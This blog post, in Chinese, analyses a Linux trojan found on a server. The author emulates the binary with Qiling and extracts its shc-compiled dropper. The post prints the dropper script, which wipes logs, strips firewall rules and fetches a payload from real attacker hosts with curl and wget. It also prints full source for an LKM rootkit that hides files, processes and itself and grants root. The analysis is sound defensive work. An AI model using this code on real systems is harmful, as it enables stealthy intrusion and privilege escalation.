Logo
Overview

恶意木马分析

November 1, 2025
💡

友:谁家好人在我服务器里放这个😡

我:发来玩玩

样本sha256sum: 54d60fd58d7fa3475fa123985bfc1594df26da25c1f5fbc7dfdba15876dd8ac5

查一下好像不少分析了。但是还是试试好不好玩?

快速看一下没加壳,所以直接丢ida里。

 可以找到逻辑在上面的main_logic里面。

注意到sub_400BC5是从.data段拿出很多东西,根据长度解密。且第一次运行了sub_400AE3。

看一眼像是rc4的ksa?

这个是prng,rc4没跑了

可以注意到这里用了execvp

考虑直接hook最后这里。

再大概看了下还有这样的一个函数用来检查environment,然后决定下面的执行流程:

分析到这里大概可以知道,run ⇒ checkenv ⇒ execvp。所以考虑hook掉这几个syscall,观察参数。

直接在物理机运行这个文件会对系统造成损坏,我们用“qiling“模拟执行。注意到这里我们需要下载它给的rootfs(或者其实是glibc)

from sys import argv
from qiling import Qiling
from capstone import Cs
from qiling.const import QL_ARCH, QL_OS, QL_VERBOSE, QL_INTERCEPT
from qiling.os.const import STRING, POINTER
from colorama import Fore, Style, init
binary_path = "target"
rootfs = "./rootfs/x8664_linux"
ql = Qiling(
    [binary_path],
    rootfs,
    archtype=QL_ARCH.X8664,
    ostype=QL_OS.LINUX,
    verbose=QL_VERBOSE.OFF,
)

def ql_hook_execvp(ql):
    params = ql.os.resolve_fcall_params({'file': STRING, 'argv': POINTER})
    print(f"{Fore.CYAN}[*] execvp{Style.RESET_ALL}('{Fore.YELLOW}{params['file']}{Style.RESET_ALL}'", end="")
    argv_ptr = params["argv"]

    if argv_ptr:
        i = 0
        while True:
            arg_ptr = ql.mem.read_ptr(argv_ptr + i * ql.arch.pointersize)
            if arg_ptr == 0:
                break
            arg_str = ql.os.utils.read_cstring(arg_ptr)
            print(f", {Fore.GREEN}\"{arg_str}\"{Style.RESET_ALL}", end="")
            i += 1
        print(")")
    return 0
def ql_hook_getenv(ql):
    params = ql.os.resolve_fcall_params({'name': STRING})
    name = params['name']
    print(f"{Fore.YELLOW}[*] getenv('{name}'){Style.RESET_ALL}")
    ql.arch.regs.rax = 0 # return 0

def ql_hook_putenv(ql):
    params = ql.os.resolve_fcall_params({'name': STRING})
    name = params['name']
    print(f"{Fore.YELLOW}[*] putenv('{name}'){Style.RESET_ALL}")
    ql.arch.regs.rax = 0 # return 0


ql.os.set_api("execvp", ql_hook_execvp)
ql.os.set_api("getenv", ql_hook_getenv)
ql.os.set_api("putenv", ql_hook_putenv)
ql.run()

运行后可以看到,它设置里环境变量,而后重启了一次。

所以模拟一下环境变量,底下运行参数带上:

from sys import argv
from qiling import Qiling
from capstone import Cs
from qiling.const import QL_ARCH, QL_OS, QL_VERBOSE, QL_INTERCEPT
from qiling.os.const import STRING, POINTER
from colorama import Fore, Style, init
binary_path = "target"
rootfs = "./rootfs/x8664_linux"


env_storage = {}
_ENV_ARENA_BASE = None
_ENV_ARENA_SIZE = 0x10000
_ENV_ARENA_NEXT = 0


def _env_alloc(ql, size: int) -> int:
    global _ENV_ARENA_BASE, _ENV_ARENA_NEXT
    size = (size + 7) & ~7
    if _ENV_ARENA_BASE is None:
        base = 0x55550000
        ql.mem.map(base, _ENV_ARENA_SIZE, 3)
        _ENV_ARENA_BASE = base
        _ENV_ARENA_NEXT = 0
    if _ENV_ARENA_NEXT + size > _ENV_ARENA_SIZE:
        new_base = _ENV_ARENA_BASE + _ENV_ARENA_SIZE
        ql.mem.map(new_base, _ENV_ARENA_SIZE, 3)
        _ENV_ARENA_BASE = new_base
        _ENV_ARENA_NEXT = 0
    addr = _ENV_ARENA_BASE + _ENV_ARENA_NEXT
    _ENV_ARENA_NEXT += size
    return addr


init(autoreset=True)
def ql_hook_execvp(ql):
    params = ql.os.resolve_fcall_params({'file': STRING, 'argv': POINTER})
    print(f"{Fore.CYAN}[*] execvp{Style.RESET_ALL}('{Fore.YELLOW}{params['file']}{Style.RESET_ALL}'", end="")
    argv_ptr = params["argv"]

    if argv_ptr:
        i = 0
        while True:
            arg_ptr = ql.mem.read_ptr(argv_ptr + i * ql.arch.pointersize)
            if arg_ptr == 0:
                break
            arg_str = ql.os.utils.read_cstring(arg_ptr)
            print(f", {Fore.GREEN}\"{arg_str}\"{Style.RESET_ALL}", end="")
            i += 1
        print(")")
    return 0
def ql_hook_getenv(ql):
    params = ql.os.resolve_fcall_params({'name': STRING})
    name = params['name']
    print(f"{Fore.YELLOW}[*] getenv('{name}'){Style.RESET_ALL}")
    ql.arch.regs.rax = 0 # return 0

    if name in env:
        value = env[name]
        value_bytes = value.encode() + b'\x00'
        cached = env_storage.get(name)
        if cached and len(value_bytes) <= cached[1]:
            cstr_addr = cached[0]
        else:
            cstr_addr = _env_alloc(ql, len(value_bytes))
            env_storage[name] = (cstr_addr, len(value_bytes))
        ql.mem.write(cstr_addr, value_bytes)
        ql.arch.regs.rax = cstr_addr
        print(f" -> '{value}'")
    else:
        ql.arch.regs.rax = 0
        print(" -> NULL")

def ql_hook_putenv(ql):
    params = ql.os.resolve_fcall_params({'name': STRING})
    name = params['name']
    print(f"{Fore.YELLOW}[*] putenv('{name}'){Style.RESET_ALL}", end="")
    ql.arch.regs.rax = 0 # return 0




ql = Qiling(
    [binary_path, "-c", f"exec '{binary_path}' \"$@\"", binary_path],
    rootfs,
    archtype=QL_ARCH.X8664,
    ostype=QL_OS.LINUX,
    verbose=QL_VERBOSE.OFF,
)
env = {"x286b700fc2c16ba1": "2912544797019433889 4"}

ql.os.set_api("execvp", ql_hook_execvp)
ql.os.set_api("getenv", ql_hook_getenv)
ql.os.set_api("putenv", ql_hook_putenv)
ql.run()

后面搜索之后发现这玩意是shc编译的。

于是搓了个妙妙脚本,适配了所有的shc版本,只要glibc版本是对的就能用(?

可以extract出来脚本,这里分开写,不然没高亮了。

rm -rf /var/www/html/config.json
rm -rf /root/.xmrig.json
rm -rf /root/.config/xmrig.json
rm -rf /var/log/messages*
rm -rf /var/log/secure*
rm -rf /var/log/auth.log*
rm -rf /var/log/syslog*
# 删除操作痕迹
echo "fs.file-max = 2097152" > /etc/sysctl.conf
sysctl -p
ulimit -SHn 1024000
# 修改系统限制(文件系统描述符数量)
mv /usr/sbin/tokens /usr/sbin/iptables 2>/dev/null 1>/dev/null&
mv /sbin/tokens /sbin/iptables 2>/dev/null 1>/dev/null&
sleep 1
# 看不懂?
iptables -L INPUT -v -n | grep 138.68 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 67.207 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 46.101 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 157.245 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 146.190 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 144.126 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 167.172 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 172.104 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 172.105 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
# 丢掉系统中部分关于特定ip的防火墙规则
mv /usr/sbin/iptables /usr/sbin/tokens 2>/dev/null 1>/dev/null&
mv /sbin/iptables /sbin/tokens 2>/dev/null 1>/dev/null&
# 还是不懂,和刚刚那段一样
hhide=$1
if [ -z "$1" ]; then
  hhide="ad12e85f"
else
  hhide="$1"
fi

然后做了一个文件:

#include <linux/sched.h>
#include <linux/module.h>
#include <linux/syscalls.h>
#include <linux/dirent.h>
#include <linux/slab.h>
#include <linux/version.h>

#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 13, 0)
#include <asm/uaccess.h>
#endif

#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 10, 0)
#include <linux/proc_ns.h>
#else
#include <linux/proc_fs.h>
#endif

#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 26)
#include <linux/file.h>
#else
#include <linux/fdtable.h>
#endif

#if LINUX_VERSION_CODE <= KERNEL_VERSION(2, 6, 18)
#include <linux/unistd.h>
#endif

#ifndef __NR_getdents
#define __NR_getdents 141
#endif

#include "iptable_reject.h"

#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
unsigned long cr0;
#elif IS_ENABLED(CONFIG_ARM64)
void (*update_mapping_prot)(phys_addr_t phys, unsigned long virt, phys_addr_t size, pgprot_t prot);
unsigned long start_rodata;
unsigned long init_begin;
#define section_size init_begin - start_rodata
#endif
static unsigned long *__sys_call_table;
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
        typedef asmlinkage long (*t_syscall)(const struct pt_regs *);
        static t_syscall orig_getdents;
        static t_syscall orig_getdents64;
        static t_syscall orig_kill;
#else
        typedef asmlinkage int (*orig_getdents_t)(unsigned int, struct linux_dirent *,
                unsigned int);
        typedef asmlinkage int (*orig_getdents64_t)(unsigned int,
                struct linux_dirent64 *, unsigned int);
        typedef asmlinkage int (*orig_kill_t)(pid_t, int);
        orig_getdents_t orig_getdents;
        orig_getdents64_t orig_getdents64;
        orig_kill_t orig_kill;
#endif

unsigned long *
get_syscall_table_bf(void)
{
        unsigned long *syscall_table;

#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 4, 0)
#ifdef KPROBE_LOOKUP
        typedef unsigned long (*kallsyms_lookup_name_t)(const char *name);
        kallsyms_lookup_name_t kallsyms_lookup_name;
        register_kprobe(&kp);
        kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr;
        unregister_kprobe(&kp);
#endif
        syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table");
        return syscall_table;
#else
        unsigned long int i;

        for (i = (unsigned long int)sys_close; i < ULONG_MAX;
                        i += sizeof(void *)) {
                syscall_table = (unsigned long *)i;

                if (syscall_table[__NR_close] == (unsigned long)sys_close)
                        return syscall_table;
        }
        return NULL;
#endif
}

struct task_struct *
find_task(pid_t pid)
{
        struct task_struct *p = current;
        for_each_process(p) {
                if (p->pid == pid)
                        return p;
        }
        return NULL;
}

int
is_invisible(pid_t pid)
{
        struct task_struct *task;
        if (!pid)
                return 0;
        task = find_task(pid);
        if (!task)
                return 0;
        if (task->flags & PF_INVISIBLE)
                return 1;
        return 0;
}

#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
static asmlinkage long hacked_getdents64(const struct pt_regs *pt_regs) {
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
        int fd = (int) pt_regs->di;
        struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->si;
#elif IS_ENABLED(CONFIG_ARM64)
        int fd = (int) pt_regs->regs[0];
        struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->regs[1];
#endif
        int ret = orig_getdents64(pt_regs), err;
#else
asmlinkage int
hacked_getdents64(unsigned int fd, struct linux_dirent64 __user *dirent,
        unsigned int count)
{
        int ret = orig_getdents64(fd, dirent, count), err;
#endif
        unsigned short proc = 0;
        unsigned long off = 0;
        struct linux_dirent64 *dir, *kdirent, *prev = NULL;
        struct inode *d_inode;

        if (ret <= 0)
                return ret;

        kdirent = kzalloc(ret, GFP_KERNEL);
        if (kdirent == NULL)
                return ret;

        err = copy_from_user(kdirent, dirent, ret);
        if (err)
                goto out;

#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0)
        d_inode = current->files->fdt->fd[fd]->f_dentry->d_inode;
#else
        d_inode = current->files->fdt->fd[fd]->f_path.dentry->d_inode;
#endif
        if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev)
                /*&& MINOR(d_inode->i_rdev) == 1*/)
                proc = 1;

        while (off < ret) {
                dir = (void *)kdirent + off;
                if ((!proc &&
                (memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0))
                || (proc &&
                is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) {
                        if (dir == kdirent) {
                                ret -= dir->d_reclen;
                                memmove(dir, (void *)dir + dir->d_reclen, ret);
                                continue;
                        }
                        prev->d_reclen += dir->d_reclen;
                } else
                        prev = dir;
                off += dir->d_reclen;
        }
        err = copy_to_user(dirent, kdirent, ret);
        if (err)
                goto out;
out:
        kfree(kdirent);
        return ret;
}

#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
static asmlinkage long hacked_getdents(const struct pt_regs *pt_regs) {
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
        int fd = (int) pt_regs->di;
        struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->si;
#elif IS_ENABLED(CONFIG_ARM64)
                int fd = (int) pt_regs->regs[0];
        struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->regs[1];
#endif
        int ret = orig_getdents(pt_regs), err;
#else
asmlinkage int
hacked_getdents(unsigned int fd, struct linux_dirent __user *dirent,
        unsigned int count)
{
        int ret = orig_getdents(fd, dirent, count), err;
#endif
        unsigned short proc = 0;
        unsigned long off = 0;
        struct linux_dirent *dir, *kdirent, *prev = NULL;
        struct inode *d_inode;

        if (ret <= 0)
                return ret;

        kdirent = kzalloc(ret, GFP_KERNEL);
        if (kdirent == NULL)
                return ret;

        err = copy_from_user(kdirent, dirent, ret);
        if (err)
                goto out;

#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0)
        d_inode = current->files->fdt->fd[fd]->f_dentry->d_inode;
#else
        d_inode = current->files->fdt->fd[fd]->f_path.dentry->d_inode;
#endif

        if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev)
                /*&& MINOR(d_inode->i_rdev) == 1*/)
                proc = 1;

        while (off < ret) {
                dir = (void *)kdirent + off;
                if ((!proc &&
                (memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0))
                || (proc &&
                is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) {
                        if (dir == kdirent) {
                                ret -= dir->d_reclen;
                                memmove(dir, (void *)dir + dir->d_reclen, ret);
                                continue;
                        }
                        prev->d_reclen += dir->d_reclen;
                } else
                        prev = dir;
                off += dir->d_reclen;
        }
        err = copy_to_user(dirent, kdirent, ret);
        if (err)
                goto out;
out:
        kfree(kdirent);
        return ret;
}

void
give_root(void)
{
        #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29)
                current->uid = current->gid = 0;
                current->euid = current->egid = 0;
                current->suid = current->sgid = 0;
                current->fsuid = current->fsgid = 0;
        #else
                struct cred *newcreds;
                newcreds = prepare_creds();
                if (newcreds == NULL)
                        return;
                #if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 5, 0)                         && defined(CONFIG_UIDGID_STRICT_TYPE_CHECKS)                         || LINUX_VERSION_CODE >= KERNEL_VERSION(3, 14, 0)
                        newcreds->uid.val = newcreds->gid.val = 0;
                        newcreds->euid.val = newcreds->egid.val = 0;
                        newcreds->suid.val = newcreds->sgid.val = 0;
                        newcreds->fsuid.val = newcreds->fsgid.val = 0;
                #else
                        newcreds->uid = newcreds->gid = 0;
                        newcreds->euid = newcreds->egid = 0;
                        newcreds->suid = newcreds->sgid = 0;
                        newcreds->fsuid = newcreds->fsgid = 0;
                #endif
                commit_creds(newcreds);
        #endif
}

static inline void
tidy(void)
{
        kfree(THIS_MODULE->sect_attrs);
        THIS_MODULE->sect_attrs = NULL;
}

static struct list_head *module_previous;
static short module_hidden = 0;
void
module_show(void)
{
        list_add(&THIS_MODULE->list, module_previous);
        module_hidden = 0;
}

void
module_hide(void)
{
        module_previous = THIS_MODULE->list.prev;
        list_del(&THIS_MODULE->list);
        module_hidden = 1;
}

#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
asmlinkage int
hacked_kill(const struct pt_regs *pt_regs)
{
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
        pid_t pid = (pid_t) pt_regs->di;
        int sig = (int) pt_regs->si;
#elif IS_ENABLED(CONFIG_ARM64)
        pid_t pid = (pid_t) pt_regs->regs[0];
        int sig = (int) pt_regs->regs[1];
#endif
#else
asmlinkage int
hacked_kill(pid_t pid, int sig)
{
#endif
        struct task_struct *task;
        switch (sig) {
                case SIGINVIS:
                        if ((task = find_task(pid)) == NULL)
                                return -ESRCH;
                        task->flags ^= PF_INVISIBLE;
                        break;
                case SIGSUPER:
                        give_root();
                        break;
                case SIGMODINVIS:
                        if (module_hidden) module_show();
                        else module_hide();
                        break;
                default:
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
                        return orig_kill(pt_regs);
#else
                        return orig_kill(pid, sig);
#endif
        }
        return 0;
}

#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
static inline void
write_cr0_forced(unsigned long val)
{
        unsigned long __force_order;

        asm volatile(
                "mov %0, %%cr0"
                : "+r"(val), "+m"(__force_order));
}
#endif

static inline void
protect_memory(void)
{
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
        write_cr0_forced(cr0);
#else
        write_cr0(cr0);
#endif
#elif IS_ENABLED(CONFIG_ARM64)
        update_mapping_prot(__pa_symbol(start_rodata), (unsigned long)start_rodata,
                        section_size, PAGE_KERNEL_RO);

#endif
}

static inline void
unprotect_memory(void)
{
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
        write_cr0_forced(cr0 & ~0x00010000);
#else
        write_cr0(cr0 & ~0x00010000);
#endif
#elif IS_ENABLED(CONFIG_ARM64)
        update_mapping_prot(__pa_symbol(start_rodata), (unsigned long)start_rodata,
                        section_size, PAGE_KERNEL);
#endif
}

static int __init
iptable_reject_init(void)
{
        __sys_call_table = get_syscall_table_bf();
        if (!__sys_call_table)
                return -1;

#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
        cr0 = read_cr0();
#elif IS_ENABLED(CONFIG_ARM64)
        update_mapping_prot = (void *)kallsyms_lookup_name("update_mapping_prot");
        start_rodata = (unsigned long)kallsyms_lookup_name("__start_rodata");
        init_begin = (unsigned long)kallsyms_lookup_name("__init_begin");
#endif

        module_hide();
        tidy();

#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
        orig_getdents = (t_syscall)__sys_call_table[__NR_getdents];
        orig_getdents64 = (t_syscall)__sys_call_table[__NR_getdents64];
        orig_kill = (t_syscall)__sys_call_table[__NR_kill];
#else
        orig_getdents = (orig_getdents_t)__sys_call_table[__NR_getdents];
        orig_getdents64 = (orig_getdents64_t)__sys_call_table[__NR_getdents64];
        orig_kill = (orig_kill_t)__sys_call_table[__NR_kill];
#endif

        unprotect_memory();

        __sys_call_table[__NR_getdents] = (unsigned long) hacked_getdents;
        __sys_call_table[__NR_getdents64] = (unsigned long) hacked_getdents64;
        __sys_call_table[__NR_kill] = (unsigned long) hacked_kill;

        protect_memory();

        return 0;
}

static void __exit
iptable_reject_cleanup(void)
{
        unprotect_memory();

        __sys_call_table[__NR_getdents] = (unsigned long) orig_getdents;
        __sys_call_table[__NR_getdents64] = (unsigned long) orig_getdents64;
        __sys_call_table[__NR_kill] = (unsigned long) orig_kill;

        protect_memory();
}

module_init(iptable_reject_init);
module_exit(iptable_reject_cleanup);

MODULE_LICENSE("Dual BSD/GPL");
MODULE_AUTHOR("m0nad");
MODULE_DESCRIPTION("LKM rootkit");
struct linux_dirent {
        unsigned long   d_ino;
        unsigned long   d_off;
        unsigned short  d_reclen;
        char            d_name[1];
};

#define MAGIC_PREFIX ""

#define PF_INVISIBLE 0x10000000

#define MODULE_NAME "iptable_reject"

enum {
        SIGINVIS = 41,
        SIGSUPER = 54,
        SIGMODINVIS = 53,
};

#ifndef IS_ENABLED
#define IS_ENABLED(option) (defined(__enabled_ ## option) || defined(__enabled_ ## option ## _MODULE))
#endif

#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0)
#define KPROBE_LOOKUP 1
#include <linux/kprobes.h>
static struct kprobe kp = {
            .symbol_name = "kallsyms_lookup_name"
};
#endif
obj-m := iptable_reject.o
CC = gcc -Wall
KDIR := /lib/modules/25.0.0/build
PWD := /tmp/a

并且尝试把这个内核扩展编译后加载进系统。

不太懂,请G老师来讲把!

💡

这是一个典型的 LKM rootkit(内核模块后门),通过劫持 getdents / getdents64 隐藏文件/目录和进程、劫持 kill 添加自定义信号来切换“隐身”/提权/模块隐藏,并通过修改 sys_call_table 实现这些功能;同时包含多内核版本兼容分支和 x86/arm64 的内存写保护处理。

下面我把代码按功能模块拆解说明、指出风险/缺陷、给出检测与处置建议,以及若你要改进/审计作者可做的要点。


代码结构与关键函数(逐块解释)

1) 入口 / 退出

  • module_init(iptable_reject_init) / module_exit(iptable_reject_cleanup):模块加载时查找 sys_call_table、保存原始系统调用指针、修改内存写保护、替换 getdents/getdents64/kill 为自定义实现;卸载时恢复原始表并恢复保护。

2) 查找系统调用表

  • get_syscall_table_bf()
    • 若内核支持 kallsyms_lookup_name(通过 KPROBE_LOOKUP + kprobe),直接查找 "sys_call_table"
    • 否则使用暴力遍历法(从 sys_close 的地址开始逐页扫描,检测 __NR_close 指向 sys_close)——经典但危险的技巧(误报、性能与稳定性问题)。
    • 注:代码里有 register_kprobe(&kp); kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr; unregister_kprobe(&kp); ——但当前片段中 kp 未见定义,实际编译可能需要补全。

3) 内存写保护处理(x86 / arm64)

  • x86/x86_64:
    • 保存 cr0,通过 write_cr0/write_cr0_forced 清写保护位写回 sys_call_table,操作结束后再恢复 cr0
  • arm64:
    • 通过 kallsyms_lookup_name("update_mapping_prot") 获取函数指针并调用以修改 .rodata/只读区页属性。
  • 目的:临时去掉内核页写保护以覆盖 sys_call_table

4) 隐藏模块(module_hide/module_show)

  • module_hide():保存 THIS_MODULE->list.prev,从模块链表中 list_del(&THIS_MODULE->list),将模块从 /proc/modules 和模块链表中移除。
  • module_show():把模块重新 list_add 到之前保存的位置。
  • 风险:如果模块链表修改或顺序被改变,module_show() 恢复可能失败或插入到错误位置。

5) 提权与清理

  • give_root():使用 prepare_creds() / 修改 newcreds 的 UID/GID/EUID 等为 0 / commit_creds() 提权当前进程。
    • 分内核版本分支,为不同内核 API 兼容做适配。
  • tidy()kfree(THIS_MODULE->sect_attrs) 并把指针置 NULL(清除模块属性以减少可见性?)。

6) 进程/隐藏逻辑

  • find_task(pid_t pid):遍历进程链表(for_each_process)查找目标 task_struct
  • is_invisible(pid_t pid):检测目标进程 task->flags & PF_INVISIBLE 是否被设置。
    • PF_INVISIBLE 并非内核标准常见标志(这是 rootkit 定义的自有位或利用未使用位),修改 task->flags 来标记隐身。
  • hacked_getdents / hacked_getdents64
    • 调用原始 getdents/getdents64 得到结果长度 ret,分配内核缓冲 kdirent,从用户空间 copy_from_user 整块拷贝目录项,遍历目录项:
      • 如果是普通目录且文件名以 MAGIC_PREFIX(来自 iptable_reject.h)开头 -> 隐藏。
      • 如果是 /proc 根目录(通过 d_inode->i_ino == PROC_ROOT_INO 检测)且 is_invisible(atoi(d_name)) 返回真 -> 隐藏对应 pid 条目。
      • 隐藏实现通过调整前一项 d_reclenmemmove 把条目从缓冲中删除。
    • 最后 copy_to_user 回写并 kfree
    • 注意:对用户缓冲的假设(size = ret)可能与用户传入 countstruct linux_dirent 大小有关,兼容性敏感。
  • hacked_kill
    • 解析 kill(pid, sig)(或 pt_regs 版本):
      • 特定自定义信号 SIGINVIS:切换目标进程的 PF_INVISIBLE(隐身开关)。
      • SIGSUPER:调用 give_root() 给发送该信号的进程提权(或给目标进程?代码对 pid 的使用需看调用,通常为目标 pid)。
      • SIGMODINVIS:切换模块隐藏(module_hidden 标志)。
      • 其它信号委托给原始 kill
    • 由此,攻击者可以用 kill -<magic> <pid> 来控制 rootkit 行为。

整体目的与能力(总结)

  • 隐藏文件/目录(通过前缀 MAGIC_PREFIX);
  • 隐藏 /proc/<pid> 中的某些进程(通过 PF_INVISIBLE 标志);
  • 通过特定 kill 信号对进程施加“隐身切换”、提升权限(give_root)、模块隐藏/显示;
  • 隐藏模块自身(从模块链表中移除);
  • 兼容多内核版本与多架构(x86/x86_64/ARM64)的实现分支。

简言之:一个完全的 rootkit 功能集合(隐藏 + 后门提权 + 控制通道)

于是这个恶意软件在内核中添加了很多提权功能和通道。

接着看

DIR3="/etc/$hhide"
if [ -d "$DIR3" ]; then
  echo "folder  ok"
else
  mkdir "$DIR3"
fi
EXE=`echo $RANDOM | md5sum | head -c 8` # 随机process! 
PID=`cat /tmp/.X0_locks` # 已经启动的进程
mama=$2 # 代理
if [ -e "/proc/$PID/status" ]; then
  echo "process exists" # 存在了,直接退出?
else
if [ -z "$2" ]; then # 没有proxy,也退出。
  echo "No Prx"
else
  if grep -q "localhost00" "/etc/hosts"; then # localhost00 添加
    echo "H exists"
  else
    if [ `wc -l < /etc/hosts` -lt 3 ]; then
      echo "$mama localhost00" >> /etc/hosts # localhost00 -> localhost
    else
      sed -i "3i $mama localhost00" /etc/hosts
    fi
  fi
fi
  echo "process not exists"
  FILE1="/etc/$hhide/iptable_reject"
  if [ -f "$FILE1" ]; then
      echo "PI exists."
  else # 下载解压
      echo "PI does not exist."
      curl --connect-timeout 500 -s -o /tmp/pn.zip --socks5-hostname "$mama":9090 http://example.established.site/pn.zip
    FILE="/tmp/pn.zip"
    FILESIZE=$(stat -c%s "$FILE")
    if (( FILESIZE > "1000000")); then 
        echo "zip exists."
    else
        echo "zip does not exist."
        rm -rf "$FILE"
        wget --timeout=5 --tries=2 http://example.established.site/pn.zip -q -O /tmp/pn.zip
    fi
    if (( FILESIZE > "1000000")); then 
        echo "zip exists."
    else
        echo "zip does not exist."
        rm -rf "$FILE"
        curl --connect-timeout 500 -s -o /tmp/pn.zip --socks5-hostname "$mama":1081 http://example.established.site/pn.zip
    fi
    if (( FILESIZE > "1000000")); then 
        echo "zip exists."
    else
        echo "zip does not exist."
        rm -rf "$FILE"
        wget --timeout=5 --tries=2 http://w.amax.fun/pn.zip -q -O /tmp/pn.zip
    fi
    if (( FILESIZE > "1000000")); then 
      echo "zip exists."
    else
        echo "zip does not exist."
        rm -rf "$FILE"
        curl --connect-timeout 500 -s -o /tmp/pn.zip --socks5-hostname "$mama":9090 http://172.104.170.240/pn.zip
    fi
    if (( FILESIZE > "1000000")); then 
        echo "zip exists."
    else
        echo "zip does not exist."
        rm -rf "$FILE"
        wget --timeout=50 --tries=2 http://172.104.170.240/pn.zip -q -O /tmp/pn.zip
    fi
    cd /tmp/
    unzip -qq -o pn.zip
    rm -rf pn.zip
    mv iptable_reject "$FILE1"
  fi
  # 准备运行
  FILE2="/$EXE"
  if [ -f "$FILE2" ]; then
      echo "MD exists."
  else
      echo "MD does not exist."
      cp "$FILE1" /"$EXE"
  fi
  /"$EXE" 2>/dev/null 1>/dev/null&
  sleep 2
  pidof "$EXE" > /tmp/.X0_locks # 存放pid
  rm -rf /"$EXE"
  kill -53 10000000 # 提权
  if grep -q "iptable_reject" "/proc/modules"; then
    echo "M exists"
    kill -41 `cat /tmp/.X0_locks` # 提权
    kill -53 10000000
  else
    echo "M not exists"
    module_install
    kill -53 10000000
  if grep -q "iptable_reject" "/proc/modules"; then
    echo "M exists"
    kill -41 `cat /tmp/.X0_locks`
    kill -53 10000000
  else
    echo "M not installed check errors 2"
  fi
  fi
fi
sudo journalctl --vacuum-time=1s

嗯于是下一步是拿到他的pn.zip,同样我们也找到了——sha256sum是:751227400b52c41bbaecea83dc97182c10da158e22d0168f237c9b6c3be8e0d8 。这个可以找到相关的分析,这里就不做了。

comment

留言 / 评论

如果暂时没有看到评论,请点击下方按钮重新加载。